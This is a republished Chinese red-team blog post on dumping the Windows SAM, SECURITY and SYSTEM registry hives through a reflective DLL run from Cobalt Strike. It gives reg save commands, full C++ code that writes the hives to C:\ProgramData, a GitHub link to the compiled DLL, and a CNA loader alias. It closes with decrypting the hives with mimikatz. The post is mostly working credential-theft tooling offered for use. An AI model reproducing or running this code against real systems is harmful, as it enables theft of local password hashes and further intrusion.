利用Reflective DLL转存sam注册表

admin 2021年4月2日00:00:50评论62 views字数 1377阅读4分35秒阅读模式

  继续使用我们的Reflective DLL功能来武装我们的CobaltStrike。


一般来说抓取注册表的方法如下:


 reg save hklmsam sam.hive reg save hklmsystem system.hive reg save hklmsecurity security.hive


然后在使用mimikatz来解密注册表。我们先使用C++来实现这样的一个过程:


void dump_reg(){    HKEY hKey = 0x0;
DWORD file_exist;
//dump sam LPCWSTR lpSubKey = L"SAM"; LPCWSTR lpFile = L"C:\ProgramData\sam.save"; RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, 0x20000, &hKey); file_exist = RegSaveKeyExW(hKey, lpFile, 0x0, 2);
//Check file exist if (file_exist == 183) { DeleteFileW(lpFile); RegSaveKeyW(hKey, lpFile, 0x0); } RegCloseKey(hKey);
hKey = 0x0; //dump security lpSubKey = L"SECURITY"; lpFile = L"C:\ProgramData\security.save"; RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, 0x20000, &hKey); file_exist = RegSaveKeyExW(hKey, lpFile, 0x0, 2);
//Check file exist if (file_exist == 183) { DeleteFileW(lpFile); RegSaveKeyW(hKey, lpFile, 0x0); } RegCloseKey(hKey);
hKey = 0x0; //dump system lpSubKey = L"SYSTEM"; lpFile = L"C:\ProgramData\system.save"; RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, 0x20000, &hKey); file_exist = RegSaveKeyExW(hKey, lpFile, 0x0, 2);
//Check file exist if (file_exist == 183) { DeleteFileW(lpFile); RegSaveKeyW(hKey, lpFile, 0x0); } RegCloseKey(hKey);
}


然后使用我们之前的方法,把它转换为反射型的dll,已上传至github(x64):


https://github.com/lengjibo/RedTeamTools/tree/master/windows/samdump


 然后随便写个cna脚本来加载它:


alias hello {  bdllspawn($1, script_resource("reflective_dll.dll"), $2, "test dll", 5000, false);}


执行


利用Reflective DLL转存sam注册表


导出成功,C:ProgramData


利用Reflective DLL转存sam注册表


mimikatz解密:


利用Reflective DLL转存sam注册表


     ▼
更多精彩推荐,请关注我们

利用Reflective DLL转存sam注册表



本文始发于微信公众号(鸿鹄实验室):利用Reflective DLL转存sam注册表

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月2日00:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用Reflective DLL转存sam注册表http://cn-sec.com/archives/315295.html

发表评论

匿名网友 填写信息